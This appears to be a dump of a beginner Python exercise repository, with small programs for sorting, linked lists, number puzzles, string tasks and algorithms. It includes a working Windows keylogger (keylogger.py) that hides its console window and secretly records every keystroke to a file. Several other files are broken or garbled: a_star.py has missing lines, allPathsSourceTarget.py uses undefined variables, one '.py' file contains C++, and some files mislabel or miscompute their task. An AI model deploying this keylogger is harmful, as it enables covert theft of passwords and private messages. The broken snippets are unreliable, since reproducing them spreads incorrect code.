32 | break 33 | elif x > guess: 34 | print("You guessed too small!") 35 | elif x < guess: 36 | print("You Guessed too high!") 37 | 38 | # If Guessing is more than required guesses, 39 | # shows this output. 40 | if count >= math.log(upper - lower + 1, 2): 41 | print("\nThe number is %d" % x) 42 | print("\tBetter Luck Next time!") 43 | 44 | # Better to use This source Code on pycharm! 45 | -------------------------------------------------------------------------------- /Program/N_largest_element_in_list.py: -------------------------------------------------------------------------------- 1 | 2 | # Approach 1: 3 | 4 | def N_Largest_Elements(Arr, Upto): 5 | result = [] 6 | for i in range(0, Upto): 7 | max = 0 8 | for j in range(0, len(Arr)): 9 | if Arr[j] > max: 10 | max = Arr[j] 11 | Arr.remove(max) 12 | result.append(max) 13 | return result 14 | 15 | 16 | Given_List = [] 17 | n = int(input("How Many Elements: ")) 18 | print("Enter The Elements: ") 19 | for i in range(0, n): 20 | element = int(input()) 21 | Given_List.append(element) 22 | Upto = int(input("Upto Which Number: ")) 23 | print(N_Largest_Elements(Given_List, Upto)) 24 | 25 | 26 | # Approach 2: 27 | 28 | def N_Largest_Elemnts(Arr, Upto): 29 | return sorted(Arr)[-Upto:] 30 | 31 | 32 | Given_List = [] 33 | n = int(input("How Many Elements: ")) 34 | print("Enter The Elements: ") 35 | for i in range(0, n): 36 | element = int(input()) 37 | Given_List.append(element) 38 | Upto = int(input("Upto Which Number: ")) 39 | print(N_Largest_Elemnts(Given_List, Upto)) 40 | -------------------------------------------------------------------------------- /Program/Palindrome.py: -------------------------------------------------------------------------------- 1 | s = input("enter the value :") 2 | 3 | reverse = s[::-1] 4 | 5 | if( s == reverse): 6 | print("yes it is palindrome") 7 | else: 8 | print("no it is not a palindrome") 9 | -------------------------------------------------------------------------------- /Program/Power_of_a_number_in_python.py: -------------------------------------------------------------------------------- 1 | def power(base,exp):#function declaration 2 | if(exp==1): 3 | return(base) 4 | if(exp!=1): 5 | return (base*power(base,exp-1)) 6 | base=int(input("Enter the base number..")) 7 | exp=int(input("Enter the exponential value..")) 8 | print("Result:",power(base,exp))#Calling the function 9 | -------------------------------------------------------------------------------- /Program/Powerset: -------------------------------------------------------------------------------- 1 | # python3 program for power set 2 | 3 | import math; 4 | 5 | def printPowerSet(set,set_size): 6 | 7 | # set_size of power set of a set 8 | # with set_size n is (2**n -1) 9 | pow_set_size = (int) (math.pow(2, set_size)); 10 | counter = 0; 11 | j = 0; 12 | 13 | # Run from counter 000..0 to 111..1 14 | for counter in range(0, pow_set_size): 15 | for j in range(0, set_size): 16 | 17 | # Check if jth bit in the 18 | # counter is set If set then 19 | # print jth element from set 20 | if((counter & (1 << j)) > 0): 21 | print(set[j], end = ""); 22 | print(""); 23 | -------------------------------------------------------------------------------- /Program/QuizGame.py: -------------------------------------------------------------------------------- 1 | print('Welcome to Python Quiz') 2 | answer=input('Are you ready to play the Quiz ? (yes/no) :') 3 | score=0 4 | total_questions=3 5 | 6 | if answer.lower()=='yes': 7 | answer=input('Question 1: What is your Favourite programming language?') 8 | if answer.lower()=='python': 9 | score += 1 10 | print('correct') 11 | else: 12 | print('Wrong Answer :(') 13 | 14 | 15 | answer=input('Question 2: Do you program Python at work? ') 16 | if answer.lower()=='yes': 17 | score += 1 18 | print('correct') 19 | else: 20 | print('Wrong Answer :(') 21 | 22 | answer=input('Question 3: What is the name of your favourite website for learning Python?') 23 | if answer.lower()=='python.org': 24 | score += 1 25 | print('correct') 26 | else: 27 | print('Wrong Answer :(') 28 | 29 | print('Thankyou for Playing this small quiz game, you attempted',score,"questions correctly!") 30 | mark=(score/total_questions)*100 31 | print('Marks obtained:',mark) 32 | print('BYE!') -------------------------------------------------------------------------------- /Program/Rohan/Binary.py: -------------------------------------------------------------------------------- 1 | # Python3 Program for recursive binary search. 2 | 3 | # Returns index of x in arr if present, else -1 4 | def binarySearch (arr, l, r, x): 5 | 6 | # Check base case 7 | if r >= l: 8 | 9 | mid = l + (r - l) // 2 10 | 11 | # If element is present at the middle itself 12 | if arr[mid] == x: 13 | return mid 14 | 15 | # If element is smaller than mid, then it 16 | # can only be present in left subarray 17 | elif arr[mid] > x: 18 | return binarySearch(arr, l, mid-1, x) 19 | 20 | # Else the element can only be present 21 | # in right subarray 22 | else: 23 | return binarySearch(arr, mid + 1, r, x) 24 | 25 | else: 26 | # Element is not present in the array 27 | return -1 28 | 29 | # Driver Code 30 | arr = [ 2, 3, 4, 10, 40 ] 31 | x = 10 32 | 33 | # Function call 34 | result = binarySearch(arr, 0, len(arr)-1, x) 35 | 36 | if result != -1: 37 | print ("Element is present at index % d" % result) 38 | else: 39 | print ("Element is not present in array") 40 | -------------------------------------------------------------------------------- /Program/Rotate_a_String.py: -------------------------------------------------------------------------------- 1 | def Rotate_String(Test_string, n): 2 | Left_First = Test_string[0:n] 3 | Left_Second = Test_string[n:] 4 | Right_First = Test_string[0:len(Test_string)-n] 5 | Right_Second = Test_string[len(Test_string)-n:] 6 | return f"Left Rotation: {Left_Second+Left_First}\nRight Rotation: {Right_Second+Right_First}" 7 | 8 | 9 | Test_string = input("Enter a String: ") 10 | n = int(input("Upto: ")) 11 | print(Rotate_String(Test_string, n)) 12 | -------------------------------------------------------------------------------- /Program/Small_Positive_Number_Divisble.py: -------------------------------------------------------------------------------- 1 | import math 2 | 3 | 4 | def small_positive(num): 5 | Result = 1 6 | for i in range(1, num+1): 7 | Result = int((Result*i)/math.gcd(Result, i)) 8 | return Result 9 | 10 | 11 | # Driver Function 12 | if __name__ == "__main__": 13 | num = int(input("Enter a Number: ")) 14 | print(small_positive(num)) 15 | -------------------------------------------------------------------------------- /Program/String_can_become_Empty_or_not.py: -------------------------------------------------------------------------------- 1 | def Empty_or_not(Test_string, Sub_String): 2 | if len(Test_string) == 0 and len(Sub_String) == 0: 3 | return 'True' 4 | if len(Sub_String) == 0: 5 | return "True" 6 | while(len(Test_string) != 0): 7 | index = Test_string.find(Sub_String) 8 | if index == -1: 9 | return "False" 10 | else: 11 | Test_string = Test_string[0:index] + \ 12 | Test_string[index+len(Sub_String):] 13 | return "True" 14 | 15 | 16 | Test_string = input("Enter a String: ") 17 | Sub_String = input("Enter a Sub-String: ") 18 | print(Empty_or_not(Test_string, Sub_String)) 19 | -------------------------------------------------------------------------------- /Program/Swayam/Largest_N_Elements_Array.py: -------------------------------------------------------------------------------- 1 | 2 | # Approach 1: 3 | 4 | def N_Largest_Elements(Arr, Upto): 5 | result = [] 6 | for i in range(0, Upto): 7 | max = 0 8 | for j in range(0, len(Arr)): 9 | if Arr[j] > max: 10 | max = Arr[j] 11 | Arr.remove(max) 12 | result.append(max) 13 | return result 14 | 15 | 16 | Given_List = [] 17 | n = int(input("How Many Elements: ")) 18 | print("Enter The Elements: ") 19 | for i in range(0, n): 20 | element = int(input()) 21 | Given_List.append(element) 22 | Upto = int(input("Upto Which Number: ")) 23 | print(N_Largest_Elements(Given_List, Upto)) 24 | 25 | 26 | # Approach 2: 27 | 28 | def N_Largest_Elemnts(Arr, Upto): 29 | return sorted(Arr)[-Upto:] 30 | 31 | 32 | Given_List = [] 33 | n = int(input("How Many Elements: ")) 34 | print("Enter The Elements: ") 35 | for i in range(0, n): 36 | element = int(input()) 37 | Given_List.append(element) 38 | Upto = int(input("Upto Which Number: ")) 39 | print(N_Largest_Elemnts(Given_List, Upto)) 40 | -------------------------------------------------------------------------------- /Program/Swayam/Matrix_diagonal_sum.py: -------------------------------------------------------------------------------- 1 | def product(ar, n): 2 | 3 | result = 1 4 | for i in range(0, n): 5 | result = result * ar[i] 6 | return result 7 | 8 | 9 | ar = [ 1, 2, 3, 4, 5 ] 10 | n = len(ar) 11 | 12 | print(product(ar, n)) 13 | 14 | 15 | -------------------------------------------------------------------------------- /Program/Swayam/Reverse_String.py: -------------------------------------------------------------------------------- 1 | class Solution: 2 | def reverseString(self, s: List[str]) -> None: 3 | """ 4 | Do not return anything, modify s in-place instead. 5 | """ 6 | left = 0 7 | right = len(s) - 1 8 | while left < right: 9 | temp = s[left] 10 | s[left] = s[right] 11 | left += 1 12 | s[right] = temp 13 | right -= 1 14 | -------------------------------------------------------------------------------- /Program/TowerOfHanoi.py: -------------------------------------------------------------------------------- 1 | def TowerOfHanoi(n , source, destination, auxiliary): 2 | if n==1: 3 | print "Move disk 1 from source",source,"to destination",destination 4 | return 5 | TowerOfHanoi(n-1, source, auxiliary, destination) 6 | print "Move disk",n,"from source",source,"to destination",destination 7 | TowerOfHanoi(n-1, auxiliary, destination, source) 8 | 9 | 10 | n = 4 11 | TowerOfHanoi(n,'A','B','C') 12 | -------------------------------------------------------------------------------- /Program/Tribonacci_Numbers.py: -------------------------------------------------------------------------------- 1 | #The Tribonacci sequence Tn is defined as follows: 2 | 3 | # T0 = 0, T1 = 1, T2 = 1, and Tn+3 = Tn + Tn+1 + Tn+2 for n >= 0. 4 | 5 | # Given n, we will return the value of Tn. 6 | 7 | def tribonacci(n): 8 | #if n==0, then return 0 9 | if(n==0): 10 | return 0 11 | 12 | #if n==1 or n==2 return 1 13 | elif(n==1 or n==2): 14 | return 1 15 | 16 | # Make a list and append the first three values 17 | li=[] 18 | li.append(0) 19 | li.append(1) 20 | li.append(1) 21 | 22 | # Then using concept of Dynamic programming, append the values to the list upto n 23 | for i in range (3,n+1): 24 | li.append(li[i-2]+li[i-1]+li[i-3]) 25 | return li[n] 26 | 27 | 28 | n=int(input()) 29 | print(tribonacci(n)) -------------------------------------------------------------------------------- /Program/Truck_tour.py: -------------------------------------------------------------------------------- 1 | def truckTour(petrolpumps): 2 | index=0 3 | distance=0 4 | for i in range(len(petrolpumps)): 5 | distance+=(petrolpumps[i][0]-petrolpumps[i][1]) 6 | if distance<0: 7 | index=i+1 8 | distance=0 9 | 10 | 11 | return index 12 | -------------------------------------------------------------------------------- /Program/Window_Sliding.py: -------------------------------------------------------------------------------- 1 | # code 2 | import sys 3 | 4 | 5 | INT_MIN = -sys.maxsize - 1 6 | 7 | 8 | 9 | 10 | def maxSum(arr, n, k): 11 | 12 | # Initialize result 13 | max_sum = INT_MIN 14 | 15 | # Consider all blocks 16 | # starting with i. 17 | for i in range(n - k + 1): 18 | current_sum = 0 19 | for j in range(k): 20 | current_sum = current_sum + arr[i + j] 21 | 22 | # Update result if required. 23 | max_sum = max(current_sum, max_sum) 24 | 25 | return max_sum 26 | 27 | 28 | # Driver code 29 | arr = [1, 4, 2, 10, 2, 30 | 3, 1, 0, 20] 31 | k = 4 32 | n = len(arr) 33 | print(maxSum(arr, n, k)) 34 | 35 | 36 | -------------------------------------------------------------------------------- /Program/Z_algorithm.py: -------------------------------------------------------------------------------- 1 | # A Python3 program that implements Z algorithm 2 | # for pattern searching 3 | 4 | # Code fills Z array for given string str[] 5 | def getZarr(string, z): 6 | n = len(string) 7 | 8 | # [L,R] make a window which matches 9 | # with prefix of s 10 | l, r, k = 0, 0, 0 11 | for i in range(1, n): 12 | 13 | # if i>R nothing matches so we will calculate. 14 | # Z[i] using naive way. 15 | if i > r: 16 | l, r = i, i 17 | 18 | # R-L = 0 in starting, so it will start 19 | # checking from 0'th index. For example, 20 | # for "ababab" and i = 1, the value of R 21 | # remains 0 and Z[i] becomes 0. For string 22 | # "aaaaaa" and i = 1, Z[i] and R become 5 23 | while r < n and string[r - l] == string[r]: 24 | r += 1 25 | z[i] = r - l 26 | r -= 1 27 | else: 28 | 29 | # k = i-L so k corresponds to number which 30 | # matches in [L,R] interval. 31 | k = i - l 32 | 33 | # if Z[k] is less than remaining interval 34 | # then Z[i] will be equal to Z[k]. 35 | # For example, str = "ababab", i = 3, R = 5 36 | # and L = 2 37 | if z[k] < r - i + 1: 38 | z[i] = z[k] 39 | 40 | # For example str = "aaaaaa" and i = 2, 41 | # R is 5, L is 0 42 | else: 43 | 44 | # else start from R and check manually 45 | l = i 46 | while r < n and string[r - l] == string[r]: 47 | r += 1 48 | z[i] = r - l 49 | r -= 1 50 | 51 | # prints all occurrences of pattern 52 | # in text using Z algo 53 | def search(text, pattern): 54 | 55 | # Create concatenated string "P$T" 56 | concat = pattern + "$" + text 57 | l = len(concat) 58 | 59 | # Construct Z array 60 | z = [0] * l 61 | getZarr(concat, z) 62 | 63 | # now looping through Z array for matching condition 64 | for i in range(l): 65 | 66 | # if Z[i] (matched region) is equal to pattern 67 | # length we got the pattern 68 | if z[i] == len(pattern): 69 | print("Pattern found at index", 70 | i - len(pattern) - 1) 71 | 72 | # Driver Code 73 | if __name__ == "__main__": 74 | text = "GEEKS FOR GEEKS" 75 | pattern = "GEEK" 76 | search(text, pattern) 77 | 78 | 79 | 80 | -------------------------------------------------------------------------------- /Program/a_star.py: -------------------------------------------------------------------------------- 1 | from collections import deque 2 | 3 | class Graph: 4 | def __init__(self, adjac_lis): 5 | self.adjac_lis = adjac_lis 6 | 7 | def get_neighbors(self, v): 8 | return self.adjac_lis[v] 9 | 10 | 'C': 1, 11 | 'D': 1 12 | } 13 | 14 | return H[n] 15 | 16 | def a_star_algorithm(self, start, stop): 17 | open_lst = set([start]) 18 | closed_lst = set([]) 19 | 20 | poo = {} 21 | poo[start] = 0 22 | 23 | par = {} 24 | par[start] = start 25 | 26 | while len(open_lst) > 0: 27 | n = None 28 | 29 | for v in open_lst: 30 | if n == None or poo[v] + self.h(v) < poo[n] + self.h(n): 31 | n = v; 32 | 33 | if n == None: 34 | print('Path does not exist!') 35 | return None 36 | 37 | if n == stop: 38 | reconst_path = [] 39 | 40 | while par[n] != n: 41 | reconst_path.append(n) 42 | n = par[n] 43 | 44 | reconst_path.append(start) 45 | 46 | reconst_path.reverse() 47 | 48 | print('Path found: {}'.format(reconst_path)) 49 | return reconst_path 50 | 51 | for (m, weight) in self.get_neighbors(n): 52 | if m not in open_lst and m not in closed_lst: 53 | open_lst.add(m) 54 | par[m] = n 55 | poo[m] = poo[n] + weight 56 | 57 | else: 58 | if poo[m] > poo[n] + weight: 59 | poo[m] = poo[n] + weight 60 | par[m] = n 61 | 62 | if m in closed_lst: 63 | closed_lst.remove(m) 64 | open_lst.add(m) 65 | 66 | open_lst.remove(n) 67 | closed_lst.add(n) 68 | 69 | print('Path does not exist!') 70 | return None 71 | 72 | 73 | # Driver code 74 | adjac_lis = { 75 | 'A': [('B', 1), ('C', 3), ('D', 7)], 76 | 'B': [('D', 5)], 77 | 'C': [('D', 12)] 78 | } 79 | graph1 = Graph(adjac_lis) 80 | graph1.a_star_algorithm('A', 'D') -------------------------------------------------------------------------------- /Program/allPathsSourceTarget.py: -------------------------------------------------------------------------------- 1 | # graph problem based on directed acyclic graph (DAG) 2 | # you are given a DAG with nodes labeled from 0 to n - 1, find all possible paths from node 0 to node n - 1 and return them in any order. 3 | # this problem is similar to this problem on leetcode : https://leetcode.com/problems/all-paths-from-source-to-target/ 4 | 5 | 6 | def allPathsSourceTarget(graph: List[List[int]]) -> List[List[int]]: 7 | all_paths=[[0]] 8 | path = [] 9 | 10 | while len(queue) > 0: 11 | top = all_paths.pop(0) 12 | 13 | if top[-1] == len(graph) - 1: 14 | ans.append(top) 15 | continue 16 | 17 | 18 | for neigbour in graph[top[-1]]: 19 | all_paths.append(top + [neigbour]) 20 | 21 | 22 | return path 23 | -------------------------------------------------------------------------------- /Program/amstrong_no_between_interval.py: -------------------------------------------------------------------------------- 1 | lower = int(input("Enter lower range: ")) 2 | upper = int(input("Enter upper range: ")) 3 | 4 | for num in range(lower,upper + 1): 5 | sum = 0 6 | temp = num 7 | while temp > 0: 8 | digit = temp % 10 9 | sum += digit ** 3 10 | temp //= 10 11 | if num == sum: 12 | print(num) 13 | -------------------------------------------------------------------------------- /Program/armstrong.py: -------------------------------------------------------------------------------- 1 | # Program to check Armstrong numbers in a certain interval 2 | 3 | lower = 100 4 | upper = 2000 5 | 6 | for num in range(lower, upper + 1): 7 | 8 | # order of number 9 | order = len(str(num)) 10 | 11 | # initialize sum 12 | sum = 0 13 | 14 | temp = num 15 | while temp > 0: 16 | digit = temp % 10 17 | sum += digit ** order 18 | temp //= 10 19 | 20 | if num == sum: 21 | print(num) 22 | -------------------------------------------------------------------------------- /Program/arrayToBytes: -------------------------------------------------------------------------------- 1 | from array import * 2 | print("Bytes to String: ") 3 | a = array('b', [115, 117, 118, 97,109]) 4 | b = a.tobytes() 5 | print(b) -------------------------------------------------------------------------------- /Program/binary to hex.py: -------------------------------------------------------------------------------- 1 | print("Enter the Binary Number: ") 2 | bnum = int(input()) 3 | 4 | hex = 0 5 | mul = 1 6 | chk = 1 7 | i = 0 8 | hnum = [] 9 | while bnum!=0: 10 | rem = bnum%10 11 | hex = hex + (rem*mul) 12 | if chk%4==0: 13 | if hex<10: 14 | hex = hex+48 15 | val = chr(hex) 16 | hnum.insert(i, val) 17 | else: 18 | hex = hex+55 19 | val = chr(hex) 20 | hnum.insert(i, val) 21 | mul = 1 22 | hex = 0 23 | chk = 1 24 | i = i+1 25 | else: 26 | mul = mul*2 27 | chk = chk+1 28 | bnum = int(bnum/10) 29 | 30 | if chk!=1: 31 | hex = hex+48 32 | val = chr(hex) 33 | hnum.insert(i, val) 34 | if chk==1: 35 | i = i-1 36 | 37 | print("\nEquivalent Hexadecimal Value = ", end="") 38 | while i>=0: 39 | print(end=hnum[i]) 40 | i = i-1 41 | print() -------------------------------------------------------------------------------- /Program/bubble_sort.py: -------------------------------------------------------------------------------- 1 | def bubble_sort(arr): 2 | arr_size = len(arr) 3 | 4 | for i in range (arr_size-1): 5 | for j in range(0, arr_size-1): 6 | if arr[j] > arr[j+1]: 7 | arr[j], arr[j+1] = arr[j+1], arr[j] 8 | 9 | 10 | 11 | # test array 12 | arr = [3, 8, 2, 10, 23, 2, 50] 13 | bubble_sort(arr) 14 | print ("Sorted array is:") 15 | for i in range(len(arr)): 16 | print (arr[i]), -------------------------------------------------------------------------------- /Program/burrows_wheeler.py: -------------------------------------------------------------------------------- 1 | from __future__ import annotations 2 | 3 | from typing import TypedDict 4 | 5 | 6 | class BWTTransformDict(TypedDict): 7 | bwt_string: str 8 | idx_original_string: int 9 | 10 | 11 | def all_rotations(s: str) -> list[str]: 12 | 13 | if not isinstance(s, str): 14 | raise TypeError("The parameter s type must be str.") 15 | 16 | return [s[i:] + s[:i] for i in range(len(s))] 17 | 18 | 19 | def bwt_transform(s: str) -> BWTTransformDict: 20 | 21 | if not isinstance(s, str): 22 | raise TypeError("The parameter s type must be str.") 23 | if not s: 24 | raise ValueError("The parameter s must not be empty.") 25 | 26 | rotations = all_rotations(s) 27 | rotations.sort() # sort the list of rotations in alphabetically order 28 | # make a string composed of the last char of each rotation 29 | response: BWTTransformDict = { 30 | "bwt_string": "".join([word[-1] for word in rotations]), 31 | "idx_original_string": rotations.index(s), 32 | } 33 | return response 34 | 35 | 36 | def reverse_bwt(bwt_string: str, idx_original_string: int) -> str: 37 | 38 | if not isinstance(bwt_string, str): 39 | raise TypeError("The parameter bwt_string type must be str.") 40 | if not bwt_string: 41 | raise ValueError("The parameter bwt_string must not be empty.") 42 | try: 43 | idx_original_string = int(idx_original_string) 44 | except ValueError: 45 | raise TypeError( 46 | "The parameter idx_original_string type must be int or passive" 47 | " of cast to int." 48 | ) 49 | if idx_original_string < 0: 50 | raise ValueError("The parameter idx_original_string must not be lower than 0.") 51 | if idx_original_string >= len(bwt_string): 52 | raise ValueError( 53 | "The parameter idx_original_string must be lower than" " len(bwt_string)." 54 | ) 55 | 56 | ordered_rotations = [""] * len(bwt_string) 57 | for x in range(len(bwt_string)): 58 | for i in range(len(bwt_string)): 59 | ordered_rotations[i] = bwt_string[i] + ordered_rotations[i] 60 | ordered_rotations.sort() 61 | return ordered_rotations[idx_original_string] 62 | 63 | 64 | if __name__ == "__main__": 65 | entry_msg = "Provide a string that I will generate its BWT transform: " 66 | s = input(entry_msg).strip() 67 | result = bwt_transform(s) 68 | print( 69 | f"Burrows Wheeler transform for string '{s}' results " 70 | f"in '{result['bwt_string']}'" 71 | ) 72 | original_string = reverse_bwt(result["bwt_string"], result["idx_original_string"]) 73 | print( 74 | f"Reversing Burrows Wheeler transform for entry '{result['bwt_string']}' " 75 | f"we get original string '{original_string}'" 76 | ) 77 | -------------------------------------------------------------------------------- /Program/checkleapyear.py: -------------------------------------------------------------------------------- 1 | year = int(input("Enter Year: ")) 2 | 3 | # Leap Year Check 4 | if year % 4 == 0 and year % 100 != 0: 5 | print(year, "is a Leap Year") 6 | elif year % 100 == 0: 7 | print(year, "is not a Leap Year") 8 | elif year % 400 ==0: 9 | print(year, "is a Leap Year") 10 | else: 11 | print(year, "is not a Leap Year") 12 | -------------------------------------------------------------------------------- /Program/decimal_octal_conv.py: -------------------------------------------------------------------------------- 1 | def decimal_octal_conv(number_input): 2 | 3 | ''' 4 | KeyWord: 5 | number_input : Giving a certain decimal number to be convert 6 | n_base : N base number you want to convert 7 | ''' 8 | result = [] 9 | while True: 10 | divide = number_input//8 11 | mod = number_input % 8 12 | number_input = divide 13 | result.append(mod) 14 | if number_input == 0: 15 | result = result[::-1] 16 | result = [str(i) for i in result] 17 | result = ''.join(result) 18 | break 19 | 20 | return result 21 | 22 | 23 | -------------------------------------------------------------------------------- /Program/factorial.py: -------------------------------------------------------------------------------- 1 | N = int(input()) 2 | 3 | def factorial(x): 4 | if x == 0: 5 | return 1 6 | return x * factorial(x - 1) 7 | 8 | print(factorial(N)) 9 | -------------------------------------------------------------------------------- /Program/find all factor of a natural number.py: -------------------------------------------------------------------------------- 1 | // C++ implementation of Naive method to print all 2 | // divisors 3 | #include 4 | using namespace std; 5 | 6 | // function to print the divisors 7 | void printDivisors(int n) 8 | { 9 | for (int i = 1; i <= n; i++) 10 | if (n % i == 0) 11 | cout <<" " << i; 12 | } 13 | 14 | /* Driver program to test above function */ 15 | int main() 16 | { 17 | cout <<"The divisors of 100 are: \n"; 18 | printDivisors(100); 19 | return 0; 20 | } 21 | 22 | // this code is contributed by shivanisinghss2110 23 | -------------------------------------------------------------------------------- /Program/guessthenumber.py: -------------------------------------------------------------------------------- 1 | import random 2 | 3 | max = 10 4 | secretNumber = random.randrange(1, max) 5 | 6 | rispostaUtente = int(input("Insert a number: ")) 7 | 8 | if rispostaUtente == secretNumber: 9 | print("You guessed it! \^o^/") 10 | elif rispostaUtente < secretNumber: 11 | print("The number is too low, you lost. ╯︿╰") 12 | else: 13 | if rispostaUtente > max: 14 | print("You have entered a number that is out of range.") 15 | else: 16 | print("The number is too high, you lost. >﹏<") 17 | -------------------------------------------------------------------------------- /Program/hash.py: -------------------------------------------------------------------------------- 1 | # Python rogram to find the SHA-1 message digest of a file 2 | 3 | # importing the hashlib module 4 | import hashlib 5 | 6 | def hash_file(filename): 7 | """"This function returns the SHA-1 hash 8 | of the file passed into it""" 9 | 10 | # make a hash object 11 | h = hashlib.sha1() 12 | 13 | # open file for reading in binary mode 14 | with open(filename,'rb') as file: 15 | 16 | # loop till the end of the file 17 | chunk = 0 18 | while chunk != b'': 19 | # read only 1024 bytes at a time 20 | chunk = file.read(1024) 21 | h.update(chunk) 22 | 23 | # return the hex representation of digest 24 | return h.hexdigest() 25 | 26 | message = hash_file("track1.mp3") 27 | print(message) 28 | -------------------------------------------------------------------------------- /Program/insertBtwNodes.py: -------------------------------------------------------------------------------- 1 | class Node: 2 | def __init__(self, dataval=None): 3 | self.dataval = dataval 4 | self.nextval = None 5 | class SLinkedList: 6 | def __init__(self): 7 | self.headval = None 8 | 9 | # Function to add node 10 | def Inbetween(self,middle_node,newdata): 11 | if middle_node is None: 12 | print("The mentioned node is absent") 13 | return 14 | 15 | NewNode = Node(newdata) 16 | NewNode.nextval = middle_node.nextval 17 | middle_node.nextval = NewNode 18 | 19 | # Print the linked list 20 | def listprint(self): 21 | printval = self.headval 22 | while printval is not None: 23 | print (printval.dataval) 24 | printval = printval.nextval 25 | 26 | list = SLinkedList() 27 | list.headval = Node("Mon") 28 | e2 = Node("Tue") 29 | e3 = Node("Thu") 30 | 31 | list.headval.nextval = e2 32 | e2.nextval = e3 33 | 34 | list.Inbetween(list.headval.nextval,"Fri") 35 | 36 | list.listprint() 37 | -------------------------------------------------------------------------------- /Program/insertion_sort.py: -------------------------------------------------------------------------------- 1 | #Code for Insertion sort in python 2 | 3 | def insertionSort(arr): 4 | for i in range(1, len(arr)): 5 | key = arr[i] 6 | j = i-1 7 | while j >=0 and key < arr[j] : 8 | arr[j+1] = arr[j] 9 | j -= 1 10 | arr[j+1] = key 11 | 12 | arr = [] 13 | n = int(input("Enter number of elements : ")) 14 | for i in range(0, n): 15 | ele = int(input()) 16 | arr.append(ele) 17 | 18 | insertionSort(arr) 19 | 20 | lst = [] 21 | print("Sorted array is : ") 22 | for i in range(len(arr)): 23 | lst.append(arr[i]) 24 | print(lst) 25 | -------------------------------------------------------------------------------- /Program/keylogger.py: -------------------------------------------------------------------------------- 1 | #Script must be used on a windows system only! 2 | import win32api 3 | import win32console 4 | import win32gui 5 | import pythoncom, pyHook 6 | 7 | win = win32console.GetConsoleWindow() 8 | win32gui.ShowWindow(win, 0) 9 | 10 | def OnKeyboardEvent(event): 11 | if event.Ascii==5: 12 | _exit(1) 13 | if event.Ascii !=0 or 8: 14 | #open output.txt to read current keystrokes 15 | f = open('c:\output.txt', 'r+') 16 | buffer = f.read() 17 | f.close() 18 | # open output.txt to write current + new keystrokes 19 | f = open('c:\output.txt', 'w') 20 | keylogs = chr(event.Ascii) 21 | if event.Ascii == 13: 22 | keylogs = '/n' 23 | buffer += keylogs 24 | f.write(buffer) 25 | f.close() 26 | # create a hook manager object 27 | hm = pyHook.HookManager() 28 | hm.KeyDown = OnKeyboardEvent 29 | # set the hook 30 | hm.HookKeyboard() 31 | # wait forever 32 | pythoncom.PumpMessages() 33 | -------------------------------------------------------------------------------- /Program/km_to_miles.py: -------------------------------------------------------------------------------- 1 | # Taking kilometers input from the user 2 | kilometers = float(input("Enter value in kilometers: ")) 3 | 4 | # conversion factor 5 | conv_fac = 0.621371 6 | 7 | # calculate miles 8 | miles = kilometers * conv_fac 9 | print('%0.2f kilometers is equal to %0.2f miles' %(kilometers,miles)) 10 | -------------------------------------------------------------------------------- /Program/leapyear.py: -------------------------------------------------------------------------------- 1 | # Python program to check if year is a leap year or not 2 | 3 | year = 2000 4 | 5 | # To get year (integer input) from the user 6 | # year = int(input("Enter a year: ")) 7 | 8 | if (year % 4) == 0: 9 | if (year % 100) == 0: 10 | if (year % 400) == 0: 11 | print("{0} is a leap year".format(year)) 12 | else: 13 | print("{0} is not a leap year".format(year)) 14 | else: 15 | print("{0} is a leap year".format(year)) 16 | else: 17 | print("{0} is not a leap year".format(year)) 18 | -------------------------------------------------------------------------------- /Program/linkedListRemNode.py: -------------------------------------------------------------------------------- 1 | class Node: 2 | def __init__(self, data=None): 3 | self.data = data 4 | self.next = None 5 | class SLinkedList: 6 | def __init__(self): 7 | self.head = None 8 | 9 | def Atbegining(self, data_in): 10 | NewNode = Node(data_in) 11 | NewNode.next = self.head 12 | self.head = NewNode 13 | 14 | # Function to remove node 15 | def RemoveNode(self, Removekey): 16 | HeadVal = self.head 17 | 18 | if (HeadVal is not None): 19 | if (HeadVal.data == Removekey): 20 | self.head = HeadVal.next 21 | HeadVal = None 22 | return 23 | while (HeadVal is not None): 24 | if HeadVal.data == Removekey: 25 | break 26 | prev = HeadVal 27 | HeadVal = HeadVal.next 28 | 29 | if (HeadVal == None): 30 | return 31 | 32 | prev.next = HeadVal.next 33 | HeadVal = None 34 | 35 | def LListprint(self): 36 | printval = self.head 37 | while (printval): 38 | print(printval.data), 39 | printval = printval.next 40 | 41 | llist = SLinkedList() 42 | llist.Atbegining("Mon") 43 | llist.Atbegining("Tue") 44 | llist.Atbegining("Wed") 45 | llist.Atbegining("Thu") 46 | llist.RemoveNode("Tue") 47 | llist.LListprint() 48 | -------------------------------------------------------------------------------- /Program/linkedlistCreation.py: -------------------------------------------------------------------------------- 1 | class Node: 2 | def __init__(self, dataval=None): 3 | self.dataval = dataval 4 | self.nextval = None 5 | 6 | class SLinkedList: 7 | def __init__(self): 8 | self.headval = None 9 | 10 | list1 = SLinkedList() 11 | list1.headval = Node("Mon") 12 | e2 = Node("Tue") 13 | e3 = Node("Wed") 14 | # Link first Node to second node 15 | list1.headval.nextval = e2 16 | 17 | # Link second Node to third node 18 | e2.nextval = e3 19 | -------------------------------------------------------------------------------- /Program/linkedlistTraversal.py: -------------------------------------------------------------------------------- 1 | class Node: 2 | def __init__(self, dataval=None): 3 | self.dataval = dataval 4 | self.nextval = None 5 | 6 | class SLinkedList: 7 | def __init__(self): 8 | self.headval = None 9 | 10 | def listprint(self): 11 | printval = self.headval 12 | while printval is not None: 13 | print (printval.dataval) 14 | printval = printval.nextval 15 | 16 | list = SLinkedList() 17 | list.headval = Node("Mon") 18 | e2 = Node("Tue") 19 | e3 = Node("Wed") 20 | 21 | # Link first Node to second node 22 | list.headval.nextval = e2 23 | 24 | # Link second Node to third node 25 | e2.nextval = e3 26 | 27 | list.listprint() 28 | -------------------------------------------------------------------------------- /Program/mad_libs_generator.py: -------------------------------------------------------------------------------- 1 | #Mad Libs Generator 2 | 3 | #Loop back to this point once code finishes 4 | loop = 1 5 | while (loop < 10): 6 | noun = input("Choose a number: ") 7 | pnoun = input("Choose a plural noun: ") 8 | noun2 = input("Choose a noun: ") 9 | place = input("Name a place: ") 10 | adj = input("Choose an adjective (Describing word): ") 11 | noun3 = input("Choose a noun: ") 12 | 13 | print ("------------------------------------------") 14 | print ("Be kind to your",noun,"- legged", pnoun) 15 | print ("For",pnoun," may be somebody's", noun2,",") 16 | 17 | print ("This is the famous ",place,",") 18 | print ("Where the weather is always",adj,".") 19 | print () 20 | print ("You may think that is this the",noun3,",") 21 | print ("Well it is!") 22 | print ("------------------------------------------") 23 | 24 | loop = loop + 1 25 | 26 | -------------------------------------------------------------------------------- 